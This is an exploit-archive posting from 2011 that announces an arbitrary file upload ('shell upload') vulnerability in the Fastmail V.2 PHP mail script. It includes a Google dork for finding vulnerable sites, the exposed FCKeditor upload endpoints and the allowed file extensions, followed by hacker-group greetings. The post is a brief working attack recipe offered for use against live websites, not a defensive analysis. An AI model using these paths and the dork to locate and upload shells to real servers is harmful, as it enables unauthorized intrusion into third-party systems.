Home / exploits

PDF

Fastmail 2 Shell Upload

Posted on 10 August 2011

__________.__                 __               ___ ___
\______     | _____    ____ |  | __          /   |     ____
|    |  _/  | \__   _/ ___|  |/ /  ______ /    ~    / ___\n|    |     |__/ __ \  \___|    <  /_____/     Y    / /_/  >
|______  /____(____  /\___  >__|_           \___|_  /\___  /
/          /     /     /                //_____/
.ORG
[+] Info=================================================================

[-] Title : Fastmail V.2 Script Arbitrary File Upload Vulnerability
[-] Author: Net.Edit0r
[-] Home : Black-HG.Org ~ h4ckcity.org
[-] Website : 1337day.com
[-] Vendor: http://fastemail.ir/
[-] Software Link: http://dl.webalfa.net/files/FastMail_V2-(www.webalfa.ir).zip
[-] Email : Black.hat.tm[at]Gmail[dot]Com / Net.Edit0r[at]att[dot]net
[-] Date : 10/08/2011
[-] Google Dork : "powered by fastmail ver 2.0"
[-] Category  : webapps / 0day
[-] Special Thanks : Amir-Magic ~ cyrus ~ Mikili ~ b3hz4d

[+] Exploit===============================================================


[-] uploader :)

# http://[localhost]/FCKeditor/editor/filemanager/upload/php/upload.php

# http://[localhost]/FCKeditor/editor/filemanager/upload/test.html


[-] Upload Testing !

# Allow extention : "jpg','gif','jpeg','png"


^_^ G00d LUCK ALL :=)

[+] Greets===================================================================+
+
DarkCoder, Dr.Niloo, Hurr!c4nE , hossin , _Attack_, D3adlY, 3H34N , Tre0r    +
s3cure.p0rt, 1337day.com, packetstormsecurity.org, Exploit-id.com, Over-x    +
h4ckcity.org, pentesters.ir, mn-team.net [PersianGulf F0r Ever]              +
<3 I Love You iRAN Far==>D <3                        +
+
=============================================================================+

 

TOP